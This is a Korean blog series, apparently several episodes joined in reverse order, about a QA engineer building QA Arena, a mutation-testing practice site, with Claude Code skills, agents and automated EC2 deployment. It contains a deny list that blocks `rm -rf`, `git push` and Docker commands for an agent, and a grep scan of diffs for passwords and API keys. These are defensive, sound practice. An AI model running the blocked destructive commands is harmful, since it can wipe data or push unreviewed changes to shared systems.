- [ ] 의미있는 커밋 메시지 작성하기 (`feat`/`fix`/`refactor`)
- [ ] 배포 전 `/check-sync` 실행하기
- [ ] 롤백 포인트 저장 확인하기
- [ ] 100줄 이상 변경 시 코드 리뷰
- [ ] `.env` 파일 커밋 여부 확인하기
- [ ] 서버에서 tracked 파일 직접 수정 금지

---

## 💡 7. 교훈

### AI 의존도 스펙트럼
![](https://velog.velcdn.com/images/ai_qa_patrick/post/f7b9e672-7ffc-45ed-b05f-fa0e2d64b311/image.png)

**AI는 도구입니다. 좋은 도구도 잘못 쓰면 사고 납니다.**

### 핵심 3가지

1. **AI가 하는 일을 이해하라**: 시키기만 하지 말고, 뭘 하는지 확인
2. **안전장치를 만들어라**: 실수해도 복구 가능한 구조 (롤백 포인트, 브랜치)
3. **규칙을 문서화하라**: AI도 읽을 수 있게 CLAUDE.md에 명시

---

## 💬 8. 마치며

AI와 협업하면서 Git을 전부 맡겼다가 삽질한 경험을 공유했습니다.

솔직히 창피한 실수들이지만, **저처럼 당하지 마시라고** 공개합니다. 😅

혹시 비슷한 경험 있으신가요? 댓글로 공유해주시면 위로가 될 것 같습니다... (제발)

> "AI가 코드 짜주는 세상"은 왔지만,
> **"AI가 알아서 해주는 세상"은 아직 안 왔습니다.**

Git 히스토리 관리, 브랜치 전략, 배포 안전장치...
이런 건 여전히 **사람이 설계하고 검증**해야 합니다.

그래도 한 가지 확실한 건,
**삽질 덕분에 더 단단한 시스템이 만들어졌다**는 거예요. 🛡️

다음 편에서는 서버 비용을 0원으로 만든 이야기를 해볼게요.
(브라우저에서 Python 돌리기, 진짜 됩니다!)

---

📌 **다음 화 예고**

**Ep 4. AWS 비용 0원 도전: 채점 서버를 없애고 브라우저로 돌린 이유**

"Pyodide로 브라우저에서 pytest 돌리기, 가능합니다."
서버리스 전환으로 인프라 비용을 절감한 과정을 공유합니다.

(발행 예정)

---

👉 **직접 체험해보기**: [QA Arena에서 내 테스트 코드 품질 확인하기](https://qa-arena.qalabs.kr/?utm_source=velog&utm_medium=post&utm_campaign=git_pitfalls)

---

**[Project Info]**
- Service: https://qa-arena.qalabs.kr
- Status: Open Beta (Non-profit Project)
- Developer: Ryu Junghyun (QA Engineer)
- Feedback: [의견 보내기 (Google Form)](https://forms.gle/mk5zYKMTMq4PGRQz7)

---

## 📚 참고 자료

- [Git Workflow Best Practices](https://www.atlassian.com/git/tutorials/comparing-workflows)
- [Conventional Commits](https://www.conventionalcommits.org/)
- [Claude Code 공식 문서](https://docs.anthropic.com/claude/docs/claude-code)

📢 오픈 베타 테스트 참여 안내 이 프로젝트는 현재 오픈 베타 중입니다. "내 테스트 코드는 몇 점일까?" 궁금하신 분들은 아래 링크에서 체험해보세요! 👉 QA Arena 바로가기

"AI가 코드 짜주는 세상, 진짜 됩니다."

QA Arena 프로젝트의 435개 커밋 중 95% 이상은 AI와 함께 작성했습니다.

단순히 "이 함수 짜줘"수준이 아닙니다. 배포 자동화, 일일 모니터링 리포트, E2E 테스트 검증, 심지어 EC2 접속부터 롤백까지 AI가 처리합니다.

특히 최근 추가된 Claude Chrome 기능 덕분에 터미널에 갇혀있던 AI가 실제 브라우저를 보며 UI 테스트까지 수행하게 되었습니다.

어떻게 가능했냐고요? Claude Code의 심화 기능인 Skills, Agents, 그리고 Chrome(Beta)을 제대로 엮었기 때문입니다.

🤖 1. Claude Code: 단순한 CLI가 아닙니다

Claude Code는 Anthropic의 CLI 도구지만, 핵심은 "맥락(Context) 관리"와 "도구 확장(Tool Use)"에 있습니다.

VS Code의 Copilot과 가장 큰 차이점은 '내가 시키는 대로 하는 비서'가 아니라, '내가 가르친 대로 움직이는 주니어 개발자'에 가깝다는 점입니다.

💡 핵심 차별점

1. Project Context: 프로젝트 전체 구조를 이해하고 작업합니다.
2. Tool Use: 터미널 명령어 실행, 파일 편집, 브라우저 제어(Chrome)가 가능합니다.
3. Cost Management: 필요한 파일만 읽도록 제어하여 토큰 비용을 아낍니다.

📋 2. CLAUDE.md: "시키기 전에 규칙부터 정하라"

많은 분들이 CLAUDE.md를 단순히 "프로젝트 설명서" 정도로 생각합니다. 하지만 실전에서는 "AI의 행동 강령(Constitution)" 역할을 해야 합니다.

실제 사용 중인 CLAUDE.md (일부)

# QA Labs 개발 가이드

## 🏗️ 아키텍처 원칙 (필독)
- **Layered Architecture**: API → Service → Repository 계층을 엄격히 준수할 것.
- **테스트 우선**: 새로운 기능을 짤 때는 `tests/` 폴더에 실패하는 테스트 케이스를 먼저 만들고 구현할 것.
- **Docker**: 로컬 실행 시 `docker compose up` 외에 별도 가상환경 실행 금지.

## 🚨 Error Handling Protocol
- 500 에러 발생 시: 즉시 로그를 분석하고, 사용자가 아닌 시스템 관리자에게 알림을 보내는 로직을 제안할 것.
- DB 마이그레이션: `alembic` 자동 생성 후 반드시 `--autogenerate` 결과를 인간에게 리뷰 요청할 것 (절대 바로 적용 금지).

## 🛡️ 토큰 절약 (Cost Optimization)
- `node_modules`, `venv`, `target`, `dist` 폴더는 절대 읽지 말 것.
- 로그 파일은 `tail -n 50`으로 마지막 50줄만 읽을 것.

## 개발 워크플로우
- **Task 시작 시**: 사양 문서(docs/specs/) 필수 확인
- **Task 완료 시**: 테스트 실행 → 커밋
- **200줄 이상 변경**: 사용자 확인 요청

왜 효과적인가?

Why? AI가 코드를 짤 때 매번 "Service 계층 분리해줘"라고 말할 필요가 없어집니다. CLAUDE.md에 박제해두면 AI가 알아서 구조를 지킵니다.

🌐 3. Claude Chrome: 터미널 밖으로 나온 AI (Killer Feature) ⭐

최근 업데이트로 Claude Code가 Headless가 아닌 실제 Chrome 창을 띄워서 제어할 수 있게 되었습니다.

QA 엔지니어로서 이건 혁명입니다. 기존에는 AI가 코드는 짜줘도, 그 코드가 화면에 어떻게 렌더링 되는지는 '상상'해야 했습니다. 이제는 '직접 보고' 검증합니다.

🔍 활용 사례 1: 시각적 회귀 테스트 (Visual Regression) "로그인 페이지의 버튼이 모바일에서 깨지는지 확인해줘"라고 시키면, Claude가 실제로 브라우저를 띄워 확인합니다.

$ claude "모바일 뷰포트에서 로그인 버튼이 가려지는지 확인해."

Claude의 행동:

1. npm run dev 실행
2. Chrome 실행 → localhost:3000 접속
3. 창 크기 조절 (Mobile Viewport)
4. 스크린샷 캡처 및 시각적 분석

🔍 활용 사례 1: E2E 통합테스트 (E2E Inrtegration test)

$ claude 실 환경에서 주요 기능에 대한 통합테스트를 진행해줘

QA Arena 적용기: 런칭 직전, 실제 배포된 사이트에서 회원가입부터 문제 풀이 제출까지의 User Flow를 Claude Chrome에게 시켰습니다. Playwright 스크립트를 짜는 단계를 건너뛰고, AI가 직접 유저처럼 클릭하며 테스트를 수행했습니다.

🛠️ 4. 커스텀 스킬(Skills): 반복 작업 자동화

쉘 스크립트(.sh)와 Claude Skill의 차이는 "지능형 에러 핸들링" 입니다.

스크립트는 에러 나면 죽지만, 스킬은 에러 나면 "고쳐서 다시 시도"합니다.

프로젝트 스킬 구조

.claude/
├── commands/             # 간단한 명령어
│   ├── check-sync.md     # 로컬-EC2 싱크 확인
│   ├── deploy.md         # 빠른 배포
│   └── logs.md           # 통합 로그 확인
│
├── skills/               # 복잡한 워크플로우
│   ├── ec2-deploy/       # 9단계 배포 자동화
│   ├── docker-debug/     # Docker 문제 진단/복구
│   ├── code-review/      # 코드 리뷰 자동화
│   ├── daily-report/     # 일일 모니터링 리포트 ⭐ NEW
│   ├── submission-test/  # E2E 테스트
│   └── pytest-problem-reviewer/
│
└── agents/               # 가상 팀원 시스템 ⭐ NEW
    ├── qa-engineer/      # 테스트 전담
    ├── db-admin/         # DB 관리 전담
    ├── docs-writer/      # 문서화 전담
    └── sre-devops/       # 인프라 전담

🔥 실전 스킬: EC2 SSM 배포 자동화 (/ec2-deploy)

# .claude/skills/ec2-deploy.md

## Description
안전하게 프로덕션 배포를 수행합니다. (검증 -> 배포 -> 롤백 준비)

## Steps
1. **Dirty Check**: `git status`가 깨끗한지 확인. 수정 사항 있으면 중단.
2. **Safety Scan**: 코드 내에 하드코딩된 API Key나 Password가 있는지 grep으로 스캔. 발견 시 즉시 중단.
3. **SSH Tunneling**: AWS SSM을 통해 터널링 연결.
4. **Deploy**: `docker compose up -d --build` 실행.
5. **Health Check**: `/health` 엔드포인트가 200 OK를 반환하는지 `curl`로 3회 시도.
   - ❌ 실패 시: 즉시 이전 이미지로 롤백 커맨드 실행 (`docker compose rollback` 등).
   - ✅ 성공 시: 배포 완료 로그 기록.

이 스킬 덕분에 "배포하다가 서버 터지면 어떡하지?"라는 공포에서 해방되었습니다. 에러가 나면 AI가 알아서 롤백하니까요.

### Step 6: EC2 배포

AWS SSM send-command를 통해 EC2에 배포:

```bash
COMMAND_ID=$(aws ssm send-command \
  --instance-ids "i-05b23ecec2bdcd44a" \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["cd /home/ssm-user/qa_labs &&
    git rev-parse HEAD > .rollback_point &&
    git pull origin main &&
    docker compose -f docker-compose.prod.yml up -d --build"]' \
  --query 'Command.CommandId' --output text)

📊 5. Daily Report: 아침을 여는 명령어 (/daily-report)

1인 개발자의 가장 큰 적은 '모니터링 시간의 부족함'입니다. 이슈들을 수정해야 할 뿐만 아니라、현황을 토대로 한 기능 개선도 함께 마련해야 합니다. Skill은 이러한 부분을 해결해주었습니다.

실행 명령어

수집하는 정보:

실제 출력 예시:

이제 퇴근 후 집에 도착하면 /daily-report를 치는 게 루틴이 되었습니다.

👯 코드 리뷰 자동화 (/code-review)

혼자 개발하면 코드 리뷰를 스킵하게 됩니다. 하지만 이 스킬이 있으면? (이건 최근에 런칭한 Plugin을 사용했어요)

## 리뷰 항목

### 코드 품질
- 타입 힌트 사용 여부
- PEP 8/ESLint 스타일 준수
- 복잡도 (너무 긴 함수, 깊은 중첩)

### 보안 검토
- 하드코딩된 비밀번호/API 키
- SQL Injection 가능성
- XSS 취약점

### 성능
- N+1 쿼리 패턴
- 불필요한 반복문

### 테스트 커버리지
- 새 코드에 대한 테스트 존재 여부

출력 예시:

========================================
코드 리뷰 결과
========================================

[보안 검토]
[OK] 민감 정보: 하드코딩된 비밀 없음
[WARN] SQL: raw SQL 사용 발견 (line 45)

[권장 사항]
1. submit_handler 함수 분리 (단일 책임 원칙)
2. line 45의 raw SQL을 ORM 쿼리로 변경

[결론]
[APPROVE] 변경사항 승인됨

배포와 연동:

/ec2-deploy에서 100줄 이상 변경 시 자동으로 /code-review가 호출됩니다. 대규모 변경은 무조건 리뷰를 거치게 되는 거죠.

⚰️ Docker 디버깅 (/docker-debug)

컨테이너가 죽었을 때 AI가 알아서 진단합니다.

진단 워크플로우

### Step 1: 컨테이너 상태 확인
docker compose -f docker-compose.prod.yml ps

Step 5: Docker-in-Docker 특수 체크

# Docker 소켓 마운트 확인
docker exec celery_worker ls -la /var/run/docker.sock

# judge 컨테이너가 실행 중인지
docker ps -a | grep judge

자동 복구까지:

위험도가 낮은 건 자동 실행, 높은 건 사용자 확인을 받습니다.

👥 5. Agent 시스템: 가상 팀원을 만들다

Skills만으로는 한계가 있었습니다. 복잡한 작업은 여러 역할이 협업해야 하거든요. 그래서 만든 게 Agent 시스템입니다.

Skills vs Agents 차이

가상 팀원 4명

.claude/agents/
├── qa-engineer/    # QA 엔지니어 (테스트 전담)
├── db-admin/       # DBA (스키마/쿼리 전담)
├── docs-writer/    # 테크니컬 라이터 (문서화 전담)
└── sre-devops/     # SRE (인프라/배포 전담)

QA Engineer Agent

역할

개발자가 기능을 구현하는 동안 백그라운드에서 테스트를 작성

핵심 책임

1. 테스트 케이스 작성 (pytest, Jest, Playwright)
2. 버그 재현 시나리오 생성
3. 회귀 테스트 수행
4. 테스트 커버리지 분석

사용 예시

@qa-engineer "결제 API에 대한 테스트 케이스 작성해줘"
@qa-engineer --background "변경된 코드에 대한 테스트 작성해줘"

Database Admin Agent

역할

비즈니스 로직 없이 데이터 구조에만 집중하여 쿼리 정확도 향상

핵심 책임

1. 스키마 설계 검토, 인덱스 전략
2. Alembic 마이그레이션 관리
3. 느린 쿼리 분석, 실행 계획 검토
4. 데이터 무결성 검증

안전 규칙

• SELECT 쿼리만 직접 실행
• DROP/TRUNCATE/DELETE 금지
• 데이터 수정은 제안만

SRE/DevOps Agent

역할

인프라 설정은 자주 안 건드리므로 별도 Agent로 격리

핵심 책임

1. 배포 워크플로우 실행 (/ec2-deploy 연계)
2. 서비스 상태 확인, 로그 분석
3. 컨테이너 문제 진단 (/docker-debug 연계)
4. 롤백 수행

Docs Writer Agent

역할

개발하는 동안 백그라운드에서 문서 자동 업데이트

변경 감지 → 문서 매핑

왜 Agent로 분리했나?

1. 컨텍스트 오염 방지: 인프라 작업 중에 비즈니스 로직이 섞이면 혼란
2. 병렬 실행: 개발하면서 동시에 테스트 작성 가능
3. 권한 제한: 각 Agent가 할 수 있는 행동을 제한 (안전장치)
4. 역할 명확화: "이건 QA가 할 일" 같은 명확한 구분
5. 1인 개발자로서 이러한 역할별 분배는 각각의 전문가를 두고 일하는 듯한 효과를 얻을 수 있었어요.

📊 6. 실제 효과

배포 시간 단축

운영 효율

코드 품질

정신 건강 😇

Before: "배포할 때마다 긴장됨"
After: "그냥 /ec2-deploy 치면 됨"

Before: "서비스 잘 돌아가나...?"
After: "/daily-report --notify" + Discord 알림

💡 7. 실전 활용 팁

Tip 1: 스킬은 작게 시작하라

처음부터 완벽한 스킬을 만들려고 하지 마세요.

1주차: "배포 명령어 3줄" 정도로 시작
2주차: "헬스체크 추가"
3주차: "롤백 로직 추가"
4주차: "코드 리뷰 연동"

저도 처음엔 그냥 git pull && docker compose up이 전부였습니다.

Tip 2: 에러 패턴을 스킬에 녹여라

같은 에러가 2번 나오면, 그건 스킬에 넣을 타이밍입니다.

## 일반적인 문제 패턴

### 패턴 1: 컨테이너 반복 재시작
**원인:** 환경변수 누락, 의존성 미준비
**해결:** .env 파일 확인, depends_on 체크

Tip 3: Agent는 권한을 제한하라

각 Agent에 forbidden_tools를 명시하세요.

# QA Engineer Agent
forbidden_tools:
  - Bash(docker *)      # Docker 조작 금지
  - Bash(git push)      # 푸시 금지
  - Bash(rm -rf)        # 삭제 금지

실수로 위험한 명령이 실행되는 걸 방지합니다.

Tip 4: Daily Report로 하루를 시작하라

# 아침 루틴
/daily-report

# 이상 있으면
/logs --error

# 문제 발견되면
/docker-debug

이 세 단계면 대부분의 운영 이슈를 커버합니다.

⚠️ 8. 주의사항

AI를 너무 믿지 마라

AI도 실수합니다. 특히:

• 민감 정보 노출: API 키, 비밀번호 커밋 주의
• 파괴적 명령어: rm -rf, DROP TABLE 같은 건 항상 확인
• 맥락 손실: 긴 대화에서 초기 지시사항을 까먹을 수 있음

내가 실제로 당한 것

• Git 히스토리가 꼬인 적 있음 (다음 편에서 자세히...)
• 테스트 안 돌리고 커밋한 적 있음
• 환경변수 실수로 커밋할 뻔함
• 가이드대로 실행하지 않은 Skill을 실행한 Claude한테 사과를 받음

스킬에 안전장치를 넣어두세요.

## 보안 스캔 (매 배포 시 필수)
```bash
git diff | grep -iE "(password|secret|api_key)" || echo "Clean"

💬 9. 마치며

Claude Code + 커스텀 Skills + Agent 시스템 조합은 1인 개발자의 생산성을 극대화합니다.

특히 QA 엔지니어처럼 반복적인 검증 작업이 많은 역할에게 유용해요.

"AI가 코드 짜주는 세상"은 이미 왔습니다. 문제는 어떻게 활용하느냐입니다.

정리하면:

다음 편에서는 AI에게 Git을 맡겼다가 생긴 일들... 솔직하게 공유합니다. 제가 먼저 삽질했으니까 여러분은 피하세요 😎

📌 다음 화 예고 Ep 3. (회고) AI 믿고 Git 맡겼다가 생긴 일: 의존의 장단점과 탈출 전략

"커밋 메시지도 AI가 쓰고, 브랜치 관리도 AI가 하고... 어느 날 히스토리가 꼬였습니다." AI 의존의 함정과 건강한 협업 방법을 이야기합니다.

(1/17 금요일 발행)

[Project Info]

• Service: https://qa-arena.qalabs.kr
• Status: Open Beta (Non-profit Project)
• Developer: Ryu Junghyun (QA Engineer)
• Feedback: Google Form

📚 참고 자료

• Claude Code 공식 문서
• CLAUDE.md 작성 가이드
• Skills 설정 방법

📢 오픈 베타 테스트 참여 안내 현재 QA Arena는 오픈 베타 중입니다. "내 테스트 코드는 몇 점일까?" 궁금하신 분들은 아래 링크에서 직접 대결해보세요! 👉 QA Arena 바로가기

"커버리지 100% 달성했습니다! 🚀"

이 말을 들으면 왠지 모르게 안심이 되죠? 저도 그랬습니다. 초록색 바(Green Bar)가 꽉 찼을 때의 그 쾌감, QA라면 다 아실 겁니다.

그런데 말입니다...

커버리지 100%인데 운영 환경에서 버그 터진 적, 없으신가요?

솔직히 고백하자면, 저는 있습니다. 그것도 꽤 많이요. 😇 대체 왜 이런 일이 벌어지는 걸까요? 오늘은 그 '불편한 진실'과 해결책인 Mutation Testing에 대해 이야기해보려 합니다.

🤔 1. 커버리지 100%의 착각

아주 간단한 나눗셈 함수를 예로 들어볼게요.

def divide(a, b):
    return a / b

### 테스트 코드
def test_divide():
    assert divide(10, 2) == 5  # 통과!

이 테스트를 돌리면 커버리지는 100%가 나옵니다. ✅ 모든 라인을 실행했으니까요.

하지만 이 코드는 완벽한가요? 아니요, 폭탄을 안고 있습니다.

divide(10, 0)  # 💥 ZeroDivisionError 발생!

버그 발견: ❌

여기서 코드 커버리지의 맹점이 드러납니다. 커버리지는 "코드를 실행했느냐"만 봅니다. "버그를 검증했느냐"는 관심이 없죠.

커버리지가 말해주지 않는 것들

비유하자면, 커버리지 100%는 "시험 범위에 있는 교과서를 한 번씩 다 읽었다"는 뜻입니다. 하지만 교과서를 다 읽었다고 "시험 문제를 100점 맞는다"는 보장은 없죠.

💡 2. 그래서 Mutation Testing이 뭔데?

여기서 발상의 전환이 필요합니다.

** "내 테스트가 강력한지 알고 싶다면, 일부러 코드에 버그를 심어보자."**

이게 바로 Mutation Testing(변이 테스트)의 핵심입니다.

동작 원리

1. Mutant 생성: 멀쩡한 원본 코드에 일부러 버그를 주입합니다. (연산자를 바꾸거나, 리턴값을 조작하거나 등등)
2. 테스트 실행: 내가 짠 테스트 코드로 이 '버그 걸린 코드'를 돌려봅니다.
3. 결과 판정:
   • 테스트가 실패했다 ➡️ Mutant Killed ✅ (나이스! 테스트가 버그를 잡았음)
   • 테스트가 통과했다 ➡️ Mutant Survived ⚠️ (이런, 버그가 있는데도 테스트가 모름)

다시 보는 나눗셈 예제

아까 그 divide 함수에 몰래 버그를 심어보겠습니다.

# 원본 코드
def divide(a, b):
    return a / b

# 😈 Mutant 1: 연산자 변경 (/ → *)
def divide_mutant1(a, b):
    return a * b  # 버그 주입!

# 😈 Mutant 2: 반환값 변경
def divide_mutant2(a, b):
    return 0  # 무조건 0 리턴!

아까 작성한 테스트 (assert divide(10, 2) == 5)로 검증해볼까요?

오, 이 테스트는 꽤 쓸만하네요. 두 버그를 다 잡아냈습니다. 하지만 만약 테스트를 대충 짰다면 어떨까요?

헐렁한 테스트

def test_divide_weak():
    result = divide(10, 2)
    assert result > 0  # 그냥 양수인지만 확인

Mutant가 살아남았다(Survived)는 것은, 내 테스트 코드가 구멍이 숭숭 뚫려 있다는 강력한 증거입니다.

📊 3. Mutation Score: 진짜 테스트 품질 지표

그래서 나온 지표가 바로 Mutation Score 입니다.

Mutation Score = (잡아낸 버그 수 / 심어놓은 전체 버그 수) × 100%

학계에서도 이미 입증된 사실입니다. IEEE의 여러 연구에 따르면 Mutation Testing은 현존하는 가장 강력한 테스트 기준으로 평가받습니다. 커버리지가 아무리 높아도 Mutation Score가 낮으면, 그 테스트 슈트는 사실상 '허수아비'일 확률이 높습니다.

🎯 4. QA Arena는 이걸 어떻게 활용하나?

제가 만든 QA Arena는 바로 이 원리를 퀴즈처럼 구현했습니다.

채점 프로세스

1. 사용자가 미션(테스트 코드)을 제출합니다.
2. 시스템이 뒷단에서 Golden Code(정답 코드)에 Mutant(버그)를 생성합니다.
3. 사용자의 테스트 코드로 이 Mutant들을 공격합니다.
4. 얼마나 많은 Mutant를 잡았는지 계산해서 점수를 매깁니다.

결과 리포트

단순히 "통과/실패"만 알려주는 게 아닙니다. 놓친 버그에 대한 개선 힌트는 물론, 더 나은 테스트를 위한 AI 피드백까지 제공합니다. 이렇게 "왜 내 테스트가 부족한지" 구체적인 피드백을 받을 수 있죠.

🔥 5. 왜 QA에게 이게 중요할까?

1. "자동화만 하면 끝?"이라는 압박에서 벗어나기

테스트 자동화를 구축해도 "이게 진짜 버그 잡을 수 있어?"라는 의구심 섞인 질문, 받아보셨을 겁니다. Mutation Score는 이 질문에 대해 "네, 우리 테스트는 의도된 버그의 95%를 잡아냅니다"라고 숫자로 증명할 수 있게 해줍니다.

2. AI 코딩 시대의 필수 검증 도구

요즘 ChatGPT_나 _Claude Code 로 테스트 코드 많이 짜시죠? 그런데 AI가 짜준 테스트가 좋은 테스트인지는 누가 검증하나요? Mutation Testing이 그 심판관이 될 수 있습니다. AI가 짠 테스트든 사람이 짠 테스트든, 버그를 못 잡으면 점수는 냉정하니까요.

💬 6. 마치며

커버리지 100%는 끝이 아니라 시작일 뿐입니다.

진짜 테스트 품질은 "얼마나 많은 라인을 실행했냐"가 아니라, "얼마나 많은 결함을 찾아낼 수 있냐"로 증명해야 합니다. QA Arena는 바로 그 '진짜 실력'을 겨루는 공간입니다.

"내 테스트 코드는 과연 튼튼할까?"

궁금하시다면, 지금 바로 도전해보세요!

📌 다음 화 예고

Ep 2. Claude Code 200% 활용: 설정부터 배포 자동화까지

"AI로 서비스 하나 뚝딱 만드는 거, 진짜 되더라고요." QA Arena를 만들면서 사용한 Claude Code 활용기! CLAUDE.md 설정부터 커스텀 스킬로 배포 자동화까지 하는 꿀팁을 대방출합니다.

(1/14 화요일 발행 예정)

👉 직접 체험해보기: QA Arena에서 내 Mutation Score 확인하기

[Project Info]

• Service: https://qa-arena.qalabs.kr
• Status: Open Beta (Non-profit Project)
• Developer: Ryu Junghyun (QA Engineer)
• Feedback: 의견 보내기 (Google Form)

📚 참고 자료

• Mutation Testing - Wikipedia
• PITest - Java Mutation Testing
• mutmut - Python Mutation Testing

🚨 긴급 추가: 오픈 베타 데이터로 본 '웃픈' 현실

글을 발행하기 직전, 오픈 베타 3일 차 로그를 분석하다가 재미있는(그리고 뼈아픈) 사실 두 가지를 발견해서 급히 공유합니다.

1. 쉬운 문제의 반전? 😲 가장 기초 난이도인 '[기초] 정수 덧셈기' ➕ 의 데이터를 보고 깜짝 놀랐습니다. 조회수 대비 재시도 횟수가 무려 3.6배나 되었거든요. 📈 단순한 덧셈 로직이지만, 완벽한 테스트 코드를 짜는 건 결코 쉽지 않다는 사실을 데이터가 증명해 주는 것 같습니다.. 📊 기초 문제부터 이렇게 진심으로 파고드는 분들이 많아 인상적이었습니다.🔥

2. 체류 시간 10분의 진실 ⏳ '할인 계산기' 🏷️ 문제의 평균 체류 시간이 10분을 넘어가길래, 처음엔 "와, 다들 엄청 몰입해서 푸시는구나!" 🤩라고 좋아했습니다. 그런데 막상 제가 다시 문제를 확인해보니...😱 문제 설명이 너무 불친절해서 이해하느라 오래 걸린 것이었습니다.. 💦 (죄송합니다...🙇‍ )

데이터는 거짓말을 안 하네요. 덕분에 문제를 전면 수정해야 한다는 사실을 깨달았습니다. 이렇게 데이터로 제 부족함을 마주하며 QA Arena를 개선해 나가고 있습니다. 여러분의 플레이 기록 하나하나가 서비스 개선에 큰 힌트가 됩니다!

감사합니다.

📢 오픈 베타 테스트 참여 안내 이 프로젝트는 현재 오픈 베타 중입니다. "내 테스트 코드는 몇 점일까?" 궁금하신 분들은 아래 링크에서 체험해보세요! 👉 QA Arena 바로가기

"QA의 실력은 무엇으로 증명하나요?"

개발자에게는 'GitHub 잔디'나 '백준 티어' 같은 명확한 척도가 있습니다. 하지만 QA 엔지니어는요?

"테스트 케이스를 꼼꼼하게 잘 짭니다." "버그를 기가 막히게 찾습니다."

솔직히 말해서, 이런 정성적인 평가로는 팀장님도, 동료 팀원들도, 심지어 나 자신도 확신을 갖기 어렵습니다.

"테스트 자동화 해야 하는데..." 라는 압박, 늘 받고 계시죠? "요즘은 AI로 테스트 짠다는데....." 이런 소리를 들으면 마음만 조급해지고요.

저도 그랬습니다. 수동 테스트만 반복하다 보면 커리어의 정체기가 온 것 같고, 옆에서 "ChatGPT가 코드 다 짜준다"고 하면 내 자리가 없어지는 건 아닐까 불안하기도 했습니다.

그래서 생각했습니다.

"QA의 핵심 역량인 '결함 탐지 능력'을 숫자로 정량화하는 플랫폼을 직접 만들어보자."

이 단순한 호기심과 오기에서 시작된 프로젝트가 6주 동안 435번의 커밋을 거쳐, QA Arena라는 서비스로 세상에 나오게 되었습니다.

🎯 1. QA Arena가 뭔가요?

한 줄로 설명하면 "QA 엔지니어를 위한 코딩 테스트 플랫폼"입니다.

근데 기존 알고리즘 사이트(백준, 프로그래머스)랑은 정반대 접근 방식을 가지고 있습니다.

단순히 "테스트 통과했어요"로 끝나지 않습니다.

QA Arena는 변이 테스트(Mutation Testing) 기법을 활용합니다. 여러분이 제출한 테스트 코드가 시스템이 의도적으로 심어놓은 버그(Mutants)를 얼마나 잘 잡아내는지, 그리고 테스트 코드 자체의 품질은 어떤지를 분석해서 점수(Score)와 등급(Tier)을 매겨줍니다.

드디어 "나 테스트 잘 짜요"를 숫자로 말할 수 있게 된 거죠.

🔥 2. 5주간의 개발 여정 (2025.11.24 ~ 2025.12.31)

QA 업무를 병행하며, 퇴근 후와 주말 시간을 쪼개 개발했습니다.

처음에는 단순한 토이 프로젝트로 시작했는데... 실제로 서비스를 운영하려고 보니 예상치 못한 장벽들이 쏟아졌습니다. (진짜 많이요 😇)

주요 사건들

• 💀 AWS Abuse Report 사건: "당신의 계정이 공격에 악용되고 있습니다"라는 메일을 받고 식은땀을 흘리며 AWS 인스턴스를 4번 갈아엎었습니다. (보안의 중요성을 뼈저리게 느꼈습니다.)

• 💸 극한의 비용 최적화 ($50 → $5): 개인 프로젝트로 감당하기 힘든 서버 비용을 줄이기 위해, 채점 엔진을 서버(Docker) 에서 브라우저(Pyodide/WASM) 로 옮기는 대공사를 감행했습니다. 결과? $50 → $5/월

• 🚧 런칭 1초 전 급브레이크 (Compliance): 기능 개발을 다 끝내고 배포하려는데, 회원 탈퇴 기능과 개인정보처리방침이 없다는 걸 깨달았습니다. 결국 오픈을 미루고, 유저의 권리를 지키기 위한 백엔드 공사와 약관 작업을 며칠 밤새워 진행했습니다. (개발보다 서류 작업이 더 힘들 줄이야... 😭)

• 🤖 AI Pipeline 구축: 혼자서 수많은 문제를 만들 수 없어서 LLM 기반의 '문제 생성 자동화' 파이프라인을 구축했습니다. 이제 AI가 버그 시나리오까지 만들어냅니다.

'에이 설마 되겠어?' 했다가 '어? 진짜 되네?'가 된 순간들의 연속이었습니다.

QA Arena 아키텍처 (Hybrid Judge System)

비용은 0원에 수렴하면서도, 사용자 경험(속도)을 챙기기 위해 Client(Pyodide) + Server(Docker) 하이브리드 구조를 설계했습니다.

이 시리즈는 바로 그 '삽질'과 '해결'의 생생한 기록입니다. 제가 먼저 겪었으니, 여러분은 이 글을 통해 시행착오를 줄이시길 바랍니다. 😎

📚 3. 앞으로 연재할 이야기 (매주 화/금, 총 7주)

이 시리즈는 크게 기술적 도전과 운영의 현실 두 가지 축으로 진행됩니다.

Phase 1: 시작과 도구 (Week 1~2)

• Ep 1. 코드 커버리지 100%의 함정: 왜 '버그 검출률'인가?
• Ep 2. Claude Code 200% 활용: 설정부터 배포 자동화까지
• Ep 3. (회고) AI 믿고 Git 맡겼다가 생긴 일

Phase 2: 비용과 아키텍처 (Week 3)

• Ep 4. AWS 비용 0원 도전: 채점 서버를 없애고 브라우저로 돌린 이유
• Ep 5. 클라이언트 vs 서버 하이브리드 설계 전략

Phase 3: 인프라와 운영 현실 (Week 4~5)

• Ep 6. (삽질기) EC2 + Docker Compose 첫 배포
• Ep 7. (보안) Docker-in-Docker의 함정과 Socket Proxy
• Ep 8. (장애회고) SSH 키 날려먹고 '클라우드 미아'가 되다
• Ep 9. (운영사건) AWS Trust & Safety 메일이 왔다: Abuse Report 대응기

Phase 4: AI와 제품화 (Week 6~7)

• Ep 10. 문제 자동 생성의 현실: 양은 AI가, 품질은 프로세스가
• Ep 11. AI Pipeline 전체 흐름: 코드→AST→분류→LLM→피드백
• Ep 12. 테스트 품질 분석 엔진: 내 테스트 코드는 몇 점일까?
• Ep 13. 코딩보다 힘든 서류 작업: 회원 탈퇴와 약관 때문에 런칭 멈춘 썰
• Ep 14. (완결) 1인 개발자의 제품 런칭: AI 제품화 + 오픈 베타

💬 4. 마치며

이 글은 "완벽한 서비스를 만들었다"는 자랑이 아닙니다.

오히려 "QA 엔지니어가 맨땅에 헤딩하며 서비스를 만들어가는 과정"을 가감 없이 공유하려고 합니다.

"QA로 몇 년 했는데, 뭘로 증명하지?" "자동화 공부는 해야 하는데 어디서부터?" "AI 시대의 QA는 어떻게 변화해야 할까?"

이런 고민을 하고 계신 분들께, 이 시리즈가 작은 인사이트라도 드릴 수 있으면 좋겠습니다.

앞으로 7주간의 여정, 같이 가시죠! 🚀 (구독과 좋아요는 큰 힘이 됩니다!)

📌 다음 화 예고

Ep 1. 코드 커버리지 100%의 함정: 왜 QA Arena는 '버그 검출률'을 믿는가?

"테스트 커버리지가 높으면 버그가 없을까요?" 기존 지표의 한계를 꼬집고, Mutation Testing이 어떻게 QA의 실력을 진짜로 검증하는지 이야기합니다.

(1/9 금요일 발행)

[ Project Info ]

• Service: https://qa-arena.qalabs.kr
• Status: Open Beta (Non-profit Project)
• Developer: Ryu Junghyun (QA Engineer)
• Feedback: Google Form